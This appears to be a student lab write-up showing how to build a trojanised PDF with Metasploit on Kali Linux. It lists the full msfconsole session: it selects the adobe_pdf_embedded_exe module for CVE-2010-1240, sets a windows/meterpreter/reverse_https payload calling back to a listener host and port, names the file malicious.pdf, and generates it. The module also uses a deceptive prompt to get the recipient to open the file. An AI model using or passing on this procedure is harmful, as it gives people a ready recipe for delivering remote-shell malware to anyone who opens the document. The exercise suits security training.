



## Malicious PDF File Creation - No. 16

### **Malicious PDF file using Kali Linux:**

I downloaded and installed the Kali Linux, created the new account with my details.

Username: ravitejas

After installing the Kali Linux, we need to install the required packages if they are not pre-installed.

For creating the PDF file, we need to install the Metasploit-Framework package and connect to database using the commands.

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ravitejas@kali: ~
File Actions Edit View Help
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(ravitejas@kali)-[~]
$ msfconsole

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Metasploit tip: View all productivity tips with the
tips command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search adobe_pdf

Matching Modules

#  Name
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0  exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 excellent No Adobe PDF Embedded EXE Social Engineering
1  exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 excellent No Adobe PDF Escape EXE Social Engineering (No JavaScript)
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- **msfconsole** is the command for entering into the msf6
- **tips** is the command to view all productivity tips
- for reference we can the link <https://docs.metasploit.com/> to get information about Metasploit

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Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs

msf6 > Interrupt: use the 'exit' command to quit
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msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):



| Name           | Current Setting                                                                                    | Required | Description                              |
|----------------|----------------------------------------------------------------------------------------------------|----------|------------------------------------------|
| EXENAME        |                                                                                                    | no       | The Name of payload exe.                 |
| FILENAME       | evil.pdf                                                                                           | no       | The output filename.                     |
| INFILNAME      | /usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf                           | yes      | The Input PDF filename.                  |
| LAUNCH_MESSAGE | To view the encrypted content please tick the "Do not show this message again" box and press Open. | no       | The message to display in the File: area |



Payload options (windows/meterpreter/reverse_https):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 10.0.2.15       | yes      | The local listener hostname                               |
| LPORT    | 8443            | yes      | The local listener port                                   |
| LURI     |                 | no       | The HTTP Path                                             |



**DisablePayloadHandler: True (no handler will be created!)**

Exploit target:



| Id | Name                                                                                   |
|----|----------------------------------------------------------------------------------------|
| 0  | Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English) |



msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set FILENAME malicious.pdf
FILENAME => malicious.pdf
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set LHOST 192.168.178.21
LHOST => 192.168.178.21

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- set the payload using the command **set PAYLOAD windows.meterpreter/reverse\_https**
- set filename for the PDF file using **set FILENAME filename**
- set host by using **set HOST <ip\_address>**

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| LHOST    | 192.168.178.21  | yes      | The local listener hostname                               |
| LPORT    | 8443            | yes      | The local listener port                                   |
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msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > exploit

[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf' ...
[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf' ...
[*] Using 'windows/meterpreter/reverse_https' as payload ...
[*] Parsing Successful, Creating 'malicious.pdf' file ...
[*] malicious.pdf stored at /home/ravitejas/.msf4/local/malicious.pdf

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- use the **exploit** command to get the path of the malicious pdf file
- we can embed the secret code to the created pdf file using the command **vi filename**

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msf6 > vi malicious.pdf
[*] exec: vi malicious.pdf

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- password for Zip file is: **12345678**